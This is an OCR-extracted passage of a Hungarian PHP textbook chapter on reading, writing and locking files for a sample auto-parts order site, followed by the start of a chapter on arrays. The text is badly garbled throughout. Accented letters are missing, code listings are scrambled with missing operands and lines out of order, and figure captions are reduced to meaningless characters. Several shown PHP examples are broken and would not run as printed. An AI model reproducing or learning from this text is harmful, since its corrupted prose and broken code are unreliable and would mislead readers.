Fjl megnyitsa csak hozzfilzsre (rsra) a meglv tartalom vgnl kezd ve. Ha a fjl nem ltezik, megprblja ltrehozni. Fjl megnyitsa hozzfilzsre (rsra) s olvassra a meglv tartalom vgnl kezdve - amennyiben van tartalom. Ha a fjl nem ltezik, megprblja ltre hozni. A tbbi mdokkal egytt hasznlhat. Akkor vlasztjuk ezt a mdot, ha a fjlrendszernk megklnbzteti a binris s a szveges fjlokat. A windowsos rendszerek gy tesznek, a unixosak nem. A PHP-fejleszrk azt ajnljk, hogy a maximlis tjrharsg rdekben mindig hasznljuk ezt az opcir. Ez az alaprtelmezett md.
a+
Binris (Binary)
Szveg (Text)
A tbbi mdokkal egytt hasznlhat. Ez a md csak windowsos rendszere ken rhet el. Csak abban az esetben ajnlott, ha olyan krnyezetbe visszk t a kdot, ahol rtelmezett az elbbiekben lert 'b', azaz binris md.
'
'
mdot vlasztottuk,
amely egyetlen megrendels trolst teszi lehetv a fjlban. Minden j megrendels felvtele fellrja az elz rendelst. Mivel ennek gy nem sok rtelme van, nyilvnvalan jobban jrunk a hozzfilzs (s az ajnlott binris) md kivlasztsval:
$fp
=
fopen("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt",
'ab');
Az fopen () fggvny harmadik paramtere opcionlis. Akkor hasznljuk, ha szeretnnk rkeresni a fjl inelude_path bellrsra (amir a PHP konfigurcii kzrr adhatunk meg; lsd Fggelk: A PHP a paramtert l-re! Ha utastjuk a PHP-r, hogy keressen r az vagy elrsi tvonalat:
$fp
=
include_path -ra,
fopen('rendelesek.txt',
'ab',
true);
fopen ( )
lyezznk (pldul h ttp: ll) , s tvoli helyen nyissuk meg az llomnyokat. Egyes protokollok egy tovbbi paramtert is megengednek. m mindez a szerverbellrsokrl fgg, s szigor rendszerzemeltets mellett szmolnunk kell az HTTP-s mkdsnek riltsval. Az
fopen
()
Amennyiben az fopen () sikeresen megnyitja a f;ijlr, a fggvny visszarrsi rtke egy fjlerforrs, ami lnyegben fjlazo nosr, amivel a fjira hivatkozunk. A fjlerforrsr vltozban troljuk - ez jelen esetben a $ fp. Ezt a vltozr hasznlva rjk el a fjlt, amikor tnylegesen olvasni akarjuk, vagy rni szeretnnk bele.
ph p.ini
a fggvny a fjl elejre murar fjlazonosrval rr vissza. Amennyiben a f;ijlnv h ttp : ll -vel kezddik, HTTP kapcsolat nylik a megadott szerverhez, a fggvny pedig a vlaszra mutar fjlmutarval tr vissza. Amikor a HTTP mdot a PHP rgebbi verziival hasznljuk, meg kell adnunk a knyvtrne vek utni perjelet is, minr az albbi pldban: hrtp://www.pelda.com/ nem pedig http://www.pelda.com. Amikor utbbi formj (perjel nlkli) cmer adunk meg, a webszerver ltalban HTTP tirnytssal az els, vagyis a per jelet tartalmaz cmre kld bennnket. Prbljuk ki ezt bngsznkben l Ne feledjk, hogy az URL-ben a domainnevek nem tesznek klnbsger a kis- s nagyberk kztt, m az elrsi tvonalak s fjlnevek igen!
43
(>11 ....... _,...
-18''i2 2
Raodtll......:kd<...-...,U ,_
4!1obm..a.j
$264.00
Sdoo:Nou-..Jll w..,__..._oors.qWed..,_
--s.. ....... &..co..y ia .... .._. _ -... .-,........ ....
2.2 bra:
Ilyen hiba esetn meg kell bizonyosodnunk arrl, hogy a kdot futtat felhasznl rendelkezik-e hozzfrsi jogosultsggal
az
ltalunk hasznlni kvnt fjlhoz. A kiszolgl belltstl fggen a kd futhat a webszerver felhasznljaknt vagy azon Legtbb rendszeren a kd a webszerver hasznljaknt fut. Amennyiben kdunk Unix-rendszeren mondjuk a -/public_
rendelsek trolsra:
mkdir -/rendelesek chrnod 777 -/rendelesek
Egy pillanatra sem szabad elfelejteni, hogy az olyan knyvtrak s fjlok, amelyekbe brki rhat, igen veszlyesek lehetnek. A kzvedenl az internetrl elrhet knyvtraknak nem szabad rhatknak lennik. A rendelesek knyvtrunk pontosan ezrt kt alknyvtrral feljebb, a pub li c_html felett helyezkedik el. A biztonsggal rszletesebben foglalkozunk majd a 15. fejezetben (Az e-kereskedelem
biztonsgi krdsei).
A rossz jogosultsgi bellts taln a leggyakrabban elkvetett, m messze nem az egyeden fjlmegnyitsi hiba. Ha nem rud juk megnyitni a fjlt, fontos, hogy tisztban legynk ezzel, s ne prbljunk meg adatokat olvasni belle vagy rni bele! Amennyiben az fopen () fggvnnyel vgzett megnyitsi ksrlet sikertelen, a fggvny false rtkkel tr vissza. A hibt sokkal inkbb felhasznlbart mdon kezdhetjk, ha elnyomjuk a PHP hibazenetet, s a sajrunkat hasznljuk: @ $fp
if
=
fopen("$DOCUMENT_ROOT/ ../rendelesek/rendelesek.txt",
'ab');
(1$fp) { echo "<p><strong> Megredelst jelen pillanatban nem tudtuk feldolgozni. " Krjk, exit; prblkezzon ks6bb!</strong></p></body></html>";
Az fopen () meghvsa eltti @ szimblum utastja a PHP-t, hogy elnyomja a fggvnyhvsbl ered hibkat. lta lban hasznos rudomst szerezni arrl, ha a dolgok nem megfelelen mkdnek, m jelen esetben mshol fogjuk kezelni a problmt. A kvetkezkppen is rhatjuk ezt a sort:
$fp
=
@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",
'a');
Ezzel a mdszerrel taln kevsb nyilvnval, hogy hibaelnyom mveleti jelet hasznlunk, gy kiss megneheztheti k dunkban a hibakeresst. Az itt bemutatott mdszer a hibakezels tlzottan leegyszerstett mdja. Elegnsabb mdszervel a cm 7. fejezetben tallkozhatunk, m halaeljunk szpen sorjban! Az if utasts ellenrzi az $fp vltozt, hogy lssuk, az fopen fggvny rvnyes fjlmutatval trt-e vissza; ha nem, hibazenetet r k, s befejezi a kd futtatst. Mivel az oldal itt vget r, lthatjuk, hogy lezrruk a HTML cmkket (tag), hogy rvnyes HTML kdot kapjunk. A fenti megkzelts ltal adott kimenetet a 2.3 brn ltjuk.
Hiba- s kivtelkezels
44
2. fejezet
c:_ l}
t4f _
tll'
... .......
'
!.:::.-.-- -_,._
_,... r,..-
;o: '1::1.
Bob autalkatrszek
Rodtlsi uedmbyek
..-..-12 ,__.
........
a.....s....oo
2
2.3 bra: A
..-Nocrwalll
Fjlba rs
A fjlba rs viszonylag egyszer PHP-ben. Az fwrite() (file write) vagy az fputs () (file put string) fggvnyt hasznlhat juk erre; az fputs () az fwrite () fggvny lneve (aliasa). Az fwrite () hvsa a kvetkezkppen trtnik:
fwrite($fp, $kimeneti_sztring);
A fggvny kzli a PHP-vel, hogy rja a $kimeneti_sztring vltozban trolt karakterlncot az $fp ltal mutatort fjlba. Az fwrite( ) lehetsges alternatvja a file _put_contents () fggvny. Ennek a kvetkez a protorpusa:
int file_put contents ( string fajlnev, string adat
[, [,
Ez a fggvny az fopen () (vagy felcse ()) meghvsa nlkl rja az adat vltozban trolt karakterlncot a fajlnev nev fjlba. A fggvny a PHPS jdonsga s a file_get_contents() fggvny prja. Ez utbbi fggvnyt is rvidesen be mutatjuk. A flags s a context nem ktelez paramtert leginkbb akkor hasznljuk, amikor tvoli fjlokba runk pldul HTTP vagy FTP segtsgveL (E fggvnyeket a
Az f w r i t e (
) fiiggvny paramterei
string string
Az fwrite () fggvny hrom paramtert fogad, m ezek kzl a harmadik nem ktelez. A fggvny prototpusa a kvetkez:
int fwrite ( resource eroforras_valtozo,
[,
int hossz])
A harmadik paramter, a hossz az rni kvnt bjtok maximlis szma. Ha megadjuk ezt a paramtert, az fwrite() fgg vny addig rja a string karakterlncot az ero forras_valtoz o ltal mutatort fjlba, amg el nem ri a string vgt vagy a hossz mennyisg bjtot. Egy karakterlnc hosszt a strlen () beptert PHP fggvnnyel derthetjk ki, mgpedig a kvetkezkppen:
fwrite($fp, $kimenetl_sztring, strlen($kimeneti sztrlng));
A harmadik paramtert akkor rdemes hasznlni, amikor binris mdban runk, mivel segt elkerlni a platformok kzrti kompatibilits problmit.
Fjlformtumok
Arnikor a pldban szerepl adatfjlhoz hasonlt hozunk ltre, teljes mrtkben a sajt dnts nk, hogy milyen formtumban troljuk az adatokat. (Ha azonban ms alkalmazsban kszlnk hasznlni az adatfjlt, annak szablyait is figyelembe kell vennnk.) Most pedig hozzunk ltre egy karakterlncot, amely az adatfjl egy rekordjt jelkpezi! A kvetkezkppen tehetjk ezt meg:
$kimeneti sztring $datum."\t".$abroncs_db." gumiabroncs \t".$olaj_db." olaj\t" .$abroncs db." gyjtgyertya\t\$".$osszmennyiseg ."\t". $szallitasi_cim."\n";
Ezen egyszer plda esetben a rendelsi rekordokat a fjl kln soraiban troljuk. A rekordokat soronknt rva egyszeren addik rekordelvlasztnak az jsor karakter. Mivel ezek lthatatlanok, a "\n" vezrl szekvencival jelkpezzk ket.
45
Az egsz knyvben vgig ugyangy rjuk az adatmezket, s tabultor karakterrel vlasztjuk el ket egymstl. Mivel a ta bultor karakter szimn lthatatlan, a "\t" vezrl szekvencival jelljk. Brmilyen rtelmes elvlasztt alkalmazhatunk, csak legyen knnyen olvashat! Az elvlaszt vagy hatrol karakter csak olyan lehet, ami a bevitt adatok kztt egyltaln nem fordul el. Ellenkez eset ben fel kell dolgozni a bevitt adatokat, s el kell tvoltani bellk az elvlaszt minden elfordulst. A bemeneti adatok fel dolgozsval a Karakterlncok kezelse s regulris kifejezsek cm 4. leckben foglalkozunk majd. Egyelre elg azt felttelezni, hogy senki nem fog tabultort letni a rendelsi rlapon. Bonyolult ugyan, de nem lehetetlen, hogy a felhasznl tabultort vagy j sort szr egy egysoros HTML bemeneti mezbe. Klnleges mezelvlaszt hasznlatval egyszeren kln vltozkba bonthatjuk az adatokat, amikor visszaolvassuk ket. A harmadik (Tmbk hasznlata) s a negyedik fejezetben trgyaljuk ezt a tmt. Itt azonban minden megrendelst egyetlen karakterlncknt kezelnk. Nhny megrendels feldolgozsa utn a fjl tartalma a 2.1 pldakdban lthathoz kell, hogy hasonltson.
2.1 pldakd: rendelesek. txt
20:30, 20:42, 20:43,
-Plda a
rendelesek. txtfjl
lehetsges tartalmra
31st March 2008 4 gumiabroncs l olaj 6 gyjtgyertya $434.00 22 Short St, 31st March 2008 l gumiabroncs O olaj O gyjtgyertya $100.00 33 Main Rd, 31st March 2008 O gumiabroncs l olaj 4 gyjtgyertya $26.00 127 Acacia St,
Fjl bezrsa
Ha befejeztk a fjlon vgzett munkt, be kell zrni. Az fclose () fggvny albbi hasznlatval tehetjk ezt meg:
fclose($fp);
A fjl sikeres bezrsa esetn a fggvny true, azaz igaz rtkkel tr vissza, ellenkez esetben hamissal (false). Ez a fo lyamat a megnyitsnl sokkal kisebb valsznsggel vlt ki brmilyen problmt, ezrt jelen esetben gy dntnk, hogy nem ellenrizzk. A 2.2 pldakd mutatja a rendeles_ feldolgozasa. ph p ksz vltozatnak teljes kdjt.
2.2 pldakd: rendeles feldolgozasa. php-A
_
$ POST['olaj
=
db'];
$gyertya_db
$ POST['gyertya_db'];
=
date('H:i,
Y');
<title>Bob autalkatrszek - Rendelsi eredmnyek<ltitle> <lhead> <body> <hl>Bob autalkatrszek</hl> <h2>Rendelsi eredmnyek</h2> <?php echo "<p>Rendels feldolgozsnak id6pontja: ".date('H:i, jS
Y') ."</p>";
46
2. fejezet
</p>";
$osszmennyiseg = 0; $osszmennyiseg
=
$abroncs db
$olaj db
$gyertya_db;
".$osszmennyiseg."<br />";
if ($osszmennyiseg == 0)
else
$vegosszeg
0.00; 100); 4) ;
ABRONCSAR
10);
define('GYERTYAAR' ,
$vegosszeg
$abroncs_db
+ +
$olaj db
OLAJAR
*
$gyertya_db
GYERTYAAR;
$vegosszeg=number format($vegosszeg,
2,
$".$vegosszeg."</p>";
$kimeneti sztring
$datum."\t".$abroncs db." gum1abroncs \t".$olaj_db." olaj\t" .$gyertya_db." gyjtgyertya\t\$".$vegosszeg ."\t". $szallitasi cim."\n";
'ab');
flock($fp,
LOCK_EX);
if (!$fp) echo "<p><strong> Megrendelst jelen pillanatban nem tudtuk feldolgozni. Krjk, exit; prblkezzon ksbb!</strong></p></body></html>";
47
fwrite($fp, flock($fp,
$kimeneti_sztring,
strlen($k1menet1_sztring));
LOCK_UN);
fclose ($fp);
rgzitve.</p>";
2
Olvass fjlbl
Egyelre ott tartunk, hogy Bob vevi megrendelseker adhatnak az interneten, de ha Bob alkalmazottai szerernk megnzni a rendelseket, sajt maguknak kell a fjlokat megnyitni uk. Ksztsnk egy olyan webes felletet, amelyen keresztl Bob alkalmazottai egyszeren elolvashatjk a fjlokat! Az ezt a fel leret ltrehoz kdot a 2.3 pldakd mutatja.
2.3 pldakd: rendelesek_megtekintese. ph p- Kezelfellet az alkalmazottak szmra a megrendelseket tartalmaz fjlhoz
<?php //rvid vltoznevek ltrehozsa $DOCUMENT_ROOT ?> <html> <he ad> <title>Bob autalkatrszek </head> <body> <hl>Bob autalkatrszek</hl> <h2>Megrendelsek</h2> <?php Megrendelsek</title>
=
$_SERVER['DOCUMENT_ROOT'];
@$fp
fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",
'rb');
if (!$fp)
{
prblkezzon ks6bb!</strong></p>";
while (! feof($fp))
{ 999);
$megrendeles= fgets($fp,
?> </body>
Ez a kd is a korbban bemutatott sorrendet kveti: megnyirja a fjlt, olvas belle, majd bezrja. A 2.1 pldakdban szerepl adatfjl hasznlata esetn a kd kimenere megegyezik a 2.4 brn lthatvaL
48
2. fejezet
fopen("$DOCUMENT_ROOT/.. /rendelesek/rendelesek.txt",
'rb');
Az feof () fggvny egyeelen paramcere a fjlmucac. Visszatrsi rtke true, amikor a fjlmutat a fjl vghez r. Br a fggvny neve kicsic furcsnak tnhet, taln knnyebben megjegyezhet, ha tudjuk, hogy az angol File End Of File szavak kezdbetibl addik. Ebben az eseeben (illetve ltalnossgban, amikor fjlbl olvasunk), az EOF (end of fjl, azaz fjl vge) elrsig olvasunk a f:ijlbl.
999);
Ez a fggvny egyszerre egy sort olvas be a fjlbLJelen eseeben addig olvas, amg jsor karakterrel ( \n) nem tallkozik, el nem ri a fjl vgt, vagy a fjlbl beolvasott adat mennyisge el nem ri a 998 bjcoc. A maximlis beolvasott mennyisg a meg hatrozott rtk mnusz l bjt . Sok ms fggvnye is hasznlhatunk fjlbl olvassra. Az fgets () fggvny pldul akkor hasznos, amikor egyszer szve gec tartalmaz fjlokkal dolgozunk, s a szvegec darabonknt kvnjuk kezelni. Az fgets () rdekes vltozata az fgetss () fggvny, aminek az albbi a prototpusa:
string fgetss(resource fp, int hossz, string [megengedett_cimkek]);
A fggvny az fgets ()-hez hasonl azzal a klnbsggel, hogy a szvegben tallc minden PHP s HTML cmkt kiszed. Ha valamilyen konkrt cmkt meg szeretnnk tartani, akkor a megengedett_ eimkek karakterlncban kell megadnunk azt. Akkor rdemes hasznlni, ha msvalaki ltal rt vagy felhasznli bevitele tartalmaz fjlt olvasunk be. A fjlban lv, nem korltozott HMTL kd megzavarhatja a gondosan eltervezett formzsunkac. PHP kd korldan hasznlata esetn a rosszin dulat felhasznl majdnem celjes mrtkben rveheti az irnytst kiszolglnk felett. Az fgetcsv () fggvny az fgets () egy msik vltozata. Prototpusa a kvetkez:
array fgetcsv ( resource fp, [, int hossz [, string hatarolo string mezohatarolo]])
Ez a fggvnyhatrol karakter pldul a korbban ajnlott tabultor vagy - tblzatkezel s egyb alkalmazsok ltal gyakran hasznlt- vessz alkalmazsa esetn szcbontja a fjl sorait. Amennyiben kln-kln szeretnnk a megrendelsben szerepl vltozkat rekonstrulni, az fgetcsv( ) fggvnnyel egyszeren megtehetjk. Az fgets ()-hez hasonlan kell meg hvni, de t kell adni neki a mezk elvlasztsra hasznlc hatrolc. Pldul:
Smegrendeles
=
fgetcsv($fp,
100,
"\t");
Ez a kd lekr egy sort a fjlbl, majd ahol tabultort (\t) tall, felbontja azt. Az eredmnyeket tmbben adja vissza (ami nek pldnkban Smegrendeles a neve). A tmbket a 3. fejezeeben fogjuk rszleeesen megtrgyalni.
49
A hossz paramternek nagyobbnak kell lennie, mint a beolvasni kvnt fjlban lv leghosszabb sor karakterszma. A mezohatarolo paramter hatrozza meg a sorban lv mezket hatrol karaktert.Amennyiben nem adjuk meg. alap rtelmezsben a "-t {ketts idzjelet) hasznlja.
A readfile() hvsa megnyitja az llomnyt, megjelenti rartalmt a szabvnyos kimeneten {a bngszben), majd bezrja a fjlt. A readfile () fggvny prototpusa:
int readfile(string fajlneve,
[int use include_path [, resource kezelesi_mod]] );
2
'
Az opcionlis msodik paramter azt hatrozza meg. hogy a PHP-nek a php.ini include_path paramterben meg hatrozott knyvtrban kell-e keresnie a fjlokar, s ugyangy mkdik, rnint az fopen ().A szintn opcionlis kezelesi_ mod paramtert csak akkor kell megadni, amikor tvolrl, pldul HTTP-n keresztl nyitjuk meg a fjlokat; az ilyen jelleg hasznlatot a 20. fejezetben mutatjuk be rszletesen. A fggvny visszatrsi rtke a fjlbl beolvasott bjtok teljes szma. A teljes fjl beolvassnak msodik mdszere az fpassthru() fggvny meghvsa. Ehhez elszr az fopen () fggvny nyel meg kell nyimi a fjlt. Ezt kveten a fjlmutatt tadjuk paramterknt az fpassthru () fggvnynek, amely a szabv nyos kimenetre kldi a fjlnak a mutat utni tartalmr. Ha vgzett, bezrja a fjlt. Az elz kd helyett az albbit is hasznlhatjuk:
$fp = fopen("$DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt", fpassthru($fp); 'rb');
Az fpassthru() fggvny visszatrsi rtke sikeres beolvass esetn igaz, msklnben hamis. A harmadik lehetsg a file() fggvny hasznlata. Ez a readfile () fggvnyhez hasonl, m a fjl szabvnyos kimene ten val megjelenrse helyett tmbb alaktja azt. Mkdst rszletesebben megvizsgljuk majd a tmbkkel foglalkoz 3. fejezetben. A teljessg kedvrt nzzk, hogyan hvnnk meg:
$filearray = file ($DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt");
Ez a kd a filearray nev tmbbe olvassa be a teljes llomnyt, amelynek rninden sora a tmb egy-egy elemben troldik el. rdemes tudni, hogy a fggvny a PHP korbbi verziiban binris adatokat nem tudott kezelni {nem volt,.binary safe"). A negyedik mdszer a file _get_ conten ts () fggvny hasznlata. Ez annyiban tr el a readfile () fggvnytl, hogy a bngszben val megjelents helyett karakterlncknt adja vissza a fjl tartalmr.
1>":
$char);
A kd az fgetc() fggvnnyel egyszerre egy karaktert olvas be a fjlbl, eltrolja a $char vltozban, s teszi ezt rnindad ri a fjl vgt. Ezt kveten formz egy kicsit, hogy a szveg sorvgr jell karaktereket (\n) HTML sort rsekre cserlje { <br l>). Ez csak azt szolglja, hogy rendbe rakja a formzst. Ha megtekintjk a fjl kimenett a rekordok kztt jsorokkal, akkor a teljes fjlt egyeden sorban ltjuk megjelenni. { Prbljuk ki, s gyzdjnk meg rla sajt szemnkkel!) A bngszk nem fog lalkoznak az olyan fehrkz karakterekkel, mint pldul az jsorok, ezrt HTML sortrsekre (<br l>) kell cserlni azokat. A hromoperandus mveleti jelet alkalmazzuk erre. Az fgets() fggvny helyett az fgetc () hasznlatnak mellkharsa, hogy az fgetc () az EOF karaktert adja vissza, amit az fgets() nem tenne. A karakter beolvassa utn jbl ellenrizni kell az fe of() fggvnyt, mert az EOF karaktert nem szeretnnk megjelenteni a bngszben.
50
2. fejezet
A fjlok karakterenknti beolvassa ltalban rtelmeden s nem igazn hatkony megolds, kivve akkor, ha valamilyen oknl fogva kifejezetten karakterenknt szksges feldolgoznunk az llomnyokat.
A hossz paramter ltal bjtban meghatrozott maximlis adatmennyisget olvassa be (de legfeljebb a fjl vagy a hlzati csomag vgig olvassa az adatokat).
{
'Jelenleg nincsenek megrendelsek.';
echo
Visszatrsi rtke a b:ijtban kifejezett fjlmret. Az fread () fggvnnyel egytt hasznlva alkalmas a teljes fjl (vagy egy rsznek) egyszerre trtn beolvassra. A teljes eredeti kd helyett az albbit is hasznlhatjuk:
$fp
=
fopen("$DOCUMENT_ROOTI.. Irendeleseklrendelesek.txt",
'rb');
\n
karaktereket.
Abban az esetben, ha a fjl nem trlhet, a fggvny hamis rtkkel tr vissza. Ez jellemzen akkor fordulhat el, ha nin csen jogosultsgunk a trlsre, vagy pedig a fjl nem ltezik.
A rewind () fggvny a fjl elejre viszi vissza a f:ijlmutatt. Az ftell () fggvny azt mutatja meg, hogy- bjtokban kifejezve- mennyit mozdult elre az llomnyban a fjlmutat. Pldul a kvetkez sorokat rhatnnk az eredeti kd aljhoz (az fclose () parancs el):
echo echo
'A
'.(ftell($fp));
rewind($fp);
51
'. (ftell($fp));
A bngsznkben megjelen eredmny a 2.5 brn lthathoz hasonl kell, hogy legyen.
...
--1"6
,
.......-pooiciD
2.5 bra: A megrendelsek beolvassa utn a fjlmutat afjl vgre mutat, 267 bjtnyival mozdult el. A rewind fggvny hvsval visszatr kiindul pozcijba (O), afjl elejre. Az fseek( ) fggvnnyel a fjl tetszleges pontjra llthatjuk a fjLmutatt. Prototpusa a kvetkez:
1nt fseek ( resource fp, int eltelas
[,
Az fseek ( ) meghvsa az elto las_kezdepontj a paramterben megadott ponttL szmtva eltolas bjtnyival eL tolva helyezi el az fp fjLmutatt. Az opcionlis eltolas_ kezdepontj a paramter alaprtelmezett rtke SEEK_SET, ami gyakorlatiLag a fjl eleje. Tovbbi lehetsges rtk a SEEK_CUR (a fjLmutat pillanatnyi helyzete) s a SEEK _END (a fjl vge). A rewind ( ) fggvny azzal egyenrtk, mintha meghvnnk nulla eltolssal (offset) az fseek () fggvnyt. Az fseek () segtsgvel megtallhatjuk pldul egy adott fjl kzps rekordjt, vagy binris keresst hajtharunk vgre. Amikor azonban mr annyira bonyolultt vLik az adatfjl kezelse, hogy ilyen dolgokra van szksgnk, sokkal jobban jrunk, ha adatbzist hasznlunk.
Fjlok zrolsa
Kpzeljiik el azt a helyzetet, amikor kt vsrl egyszerre prblja ugyanazt a termket megrendelni. (Ez egyltaln nem olyan ritka szituci, kLnsen akkor nem, ha jelents forgalom van honlapunkon.) Mi trtnik akkor, ha az egyik vev meg hvja az fopen () fggvnyt, s elkezd rni, majd a msik is meghvja az fopen ()-t, s is elkezd rnir Mi lesz a fjl tartalmar Az egyik, majd a msik megrendelsr Esetleg ppen fordtvar Vagy csak az egyik megrendelsr Vagy csak a msikr Esetleg valami teljesen rtelmetlen, pLdul a kt megrendels valami keszekusza sszevisszasgban r A vlasz opercis rendszernktl fgg. de gyakran teljesen kiszmthatatlan. Az ilyen problmk eLkerlse rdekben zroini rdemes az rintett fjlt. A PHP ezen funkcija az flock ( ) fggvnnyel rhet el. Ezt kell meghvnunk a fjl megnyitsa utn, de mg kzveclenl az eltt, hogy brmilyen adatt beolvasnnk, vagy rnnk a fjLba. Az flo ck () prototpusa a kvetkez:
bool flock (resource eroforras_valtozo, int muvelet
[,
int &varakozzon_e])
Els paramterknt egy megnyitott fjl muratjt, msodkknt pedig a zroLs kvnt tpust jelkpez llandt kell tadni. A fggvny visszatrsi rtke sikeres zroLs esetn igaz, egybknt pedig hamis. Az opcionlis harmadik paramterben meg adhat, hogy a fggvny megvrja-e a sikeres lezrst, vagy azonnal trjen vissza: A muvelet paramter lehetsges rtkeit, illetve a zroLstpusokat a 2.2 tbLzat tartalmazza. A lehetsges rtkek a PHP 4.0.1 vltozatnak megjelensvel mdosultak, gy a tblzatbl mindkt rtkkszlete[ kiolvashatjuk. 2.2 tblzat: Az flo ck () muvelet paramternek rtkei
Mvelet rtke
LOCK_SH (korbban
Jelents
Megosztott zrols. A fjl olvassra megoszthat ms folyamatokkal. Kizr zroLs. Ez a mvelet kizr; a fjL nem megoszthat. Meglv zrols feloldsa. Nem blokkol zrols. A zroLs ltrehozsa alatt megakadlyozza a blokkolst.
52
2. fejezet
Amennyiben hasznlni kvnjuk az flock () fggvnyt, a fjlt hasznl sszes kdhoz hozz kell adni, klnben rtelmetlen lesz alkalmazsa. Nem rt tudni, hogy az flock() NFS s egyb hlzati fjlrendszerek esetn nem mkdik. A rgebbi, zrolst nem tmo gat fjlrendszerekkel (pldul FAT) sem mkdik. Egyes opercis rendszereken folyamatszinten valsul meg, s-rbbszl szerver API alkalmazsa esetn nem megfelelen fog mkdni. Ha hasznlni szeretnnk a megrendelses pldban, a kvetkezkppen mdosthaguk a rendeles_feldolgozasa. php fjlt:
$fp
=
'ab');
flock($fp,
fwrite($fp, flock($fp,
LOCK_UN);
fclose($fp);
'r');
flock($fp,
fclose($fp);
A kd most mr robusztusabb, m mg mindig nem tkletes. Mi trtnik akkor, ha egy idben kt kd prbl zrolst vgrehajtani? Ez versenyhelyzetet teremt, amelyben a folyamatok a zrolsrt versenyeznek, s bizonytalan, hogy mi lesz ennek a kmenete. Egy ilyen helyzet tovbbi problmkat vet fel. Jobban jrunk, ha adatbzis-kezel rendszert (DBMS) alkalmazunk.
53
Az RDBMS-ek vletlenszer hozzfrst nyjtanak adatainkhoz. Az RDBMS-ek beptett jogosulrsgi rendszerekkel rendelkeznek. A MySQL klnsen ers ezen a terleten.
A relcis adatbzis-kezel rendszerek hasznlatnak taln legfontosabb oka, hogy egy adattrol rendszertl elvrt minden
(vagy legalbbis majdnem minden) funkcival brnak. Persze, mi magunk is megrhatnnk a PHP fggvnyek sajt knyvtrt, de mi rtelme lenne jra feltallni a kereket? Knyvnk msodik, A MySQL hasznlata cm rszben bemuratjuk a relcis adarbzisok mkdst ltalnossgban, illetve konkrtan azt, miknt lehet a MySQL-t adarbzissal tmogatott weboldalak ltrehozsra belltani s hasznlni. Ha egyszer rendszert ptnk, s gy rezzk, nincs szksgnk minden funkcit tartalmaz adatbzisra, de szeretnnk elkerlni az egyszer fjlok hasznlatbl ered zroJsi s egyb problmkat, mrlegeljk a PHP SQLire bvtmnynek hasznlatr! Ez lnyegben SQL kezelfelleret nyjt egy egyszer fjlhoz. Knyvnkben a MySQL hasznlatra fordtjuk figyelmnket, de ha szecetnnk tbbet megtudni az SQLite-rl, tjkozdjunk a http:/ /sqlite.org/ s a http://www.php.ner/ sqlite oldalrl!
Tovbbi olvasnival
A fjlrendszerrel val kapcsolatrl tovbbi informcit kapharunk a 19. fejezetbl
azon rszben megrrgyaljuk, hogyan lehet megvltoztaeni egy fjl jogosultsgt, tulajdonost s nevt; hogyan dolgozhatunk
a
knyvrrakkal; s hogyan lphetnk kapcsolatba a fjlrendszer krnyezetvel. rdemes lehet elolvasni a PHP online kziknyvnek a fjlrendszerrel foglalkoz rszt, amely a hrcp://www.php.net/
Hogyan tovbb:
A kvetkez fejezetben megismerjk a tmbket, illetve
azt,
3
Tombk hasznlata
E fejezetbl megrodhatjuk, hogyan hasznljuk a tmbt, ezt a rendkvl fontos programozsi szerkezetet. Az elz fejeze tekben egyetlen rtket trol skalris vltozkkal dolgoztunk. A tmb rtkek halmazr vagy sorozatt trolni kpes vltoz. Szmtalan eleme lehet, s ezek mindegyike konkrt rtket, pldul szveget vagy szmot vagy akr egy msik rmbr is tartal mazhat. A tmbket tartalmaz tmbt tbbdimenzis tmbnek nevezzk. A PHP a numerikusan (szmmal) indexele s az asszociatv (trstsos) tmbket egyarnt tmogatja. A ms programozsi nyelveken mr dolgoz olvask bizonyra tallkoztak numerikusan indexele rmbkkel, m aki nem hasznlt PHP-t vagy Perlr, az valsznleg az asszociatv tmbkrl sem hallott mg - ugyan mshol tallkozhatott mr hasheknek, trkpeknek (map) vagy knyvtraknak nevezett, hasonl szerkezetekkel. Az asszociatv tmbkben a szmoknl informatvabb rtket alkalmazhatunk indexknt. A szmszer index helyett hasz nlharunk szavakat vagy ms tartalmas informcit. Fejezetnkben tovbbfejlesztjk Bob autalkatrsz-kereskedsnek pldaprojektjr, tmbk segtsgvel knnyebben elbol dogulunk majd az olyan ismtld informcikkal, mint a vsrlk megrendelsei. Ekkppen rvidebb, rendezerrebb kdot rva hajguk vgre az elz fejezetben a fjlokon vgrehajtott mvelerek egy rszt. A fejezerben a kvetkez fbb tmakrket trgyalj uk: Numerikusan indexelt tmbk Nem numerikusan indexelt tmbk Tmbmveleri jelek Tbbdimenzis tmbk Tmbk rendezse Tmbfggvnyek
Gumiabroncs
Olaj
termk
Gyertya
3.1 bra: Bob termkei tmbben is trolhatk. Miurn tmbben eltroltuk az informcit, szmtalan hasznos mdon dolgozharunk vele. Az l. fejezetben megismert ciktu sokkal jelents mennyisg munktl kmlhetjk meg magunkat, ha ugyanazt a mveleter a tmb minden elemn vgrehajt juk. A teljes informcihalmaz egyetlen egysgknt kezelhet. Ily mdon egyetlen sornyi kddal pldul a tmbben szerepl sszes rtket tadhatjuk egy fggvnynek. Tegyk fel, hogy bcsorrendbe kvnjuk rendezni a termkeket! Ehhez nem kell mst tenni, mint a teljes tmbt tadni a PHP sort ( ) fggvnynek. A tmbben trole rtkeket a tmb elemeinek nevezzk. Minden tmbelemhez index (ms nven kulcs ) tartozik, amit az egyes elemek elrsre hasznlunk. A legtbb programozsi nyelvben a tmbk nullval vagy eggyel kezdd numerikus inde xekkel rendelkeznek.
56
3. fejezet
A PHP lehetv teszi,hogy tmbk indexeiknt szmokat s karakterlncokat egyarnt hasznljunk. Dolgozharunk hagyomnyosan szmokkal indexelt tmbkkel,de tartalmasabb s hasznosabb indexet is rendelhetnk a tmbelemekhez. (Ez a megkzelts ismers lehet azok szmra,akik ms programozsi nyelvekben dolgoztak mr asszociatv tmbkkel, tr kpekkel,hashekkel vagy knyvtrakkal.) A programozi megkzelts is kiss eltr lehet attl fggen, hogy a hagyomnyos, numerikusan indexelt tmbkkel vagy a nmileg izgalmasabb indexrtkeket hasznl tmbkkel dolgozunk. Elszr a numerikusan indexelt tmbkkel ismerkednk meg. majd onnan lpnk tovbb a felhasznl ltal meghatrozott kulcsok hasznlatra.
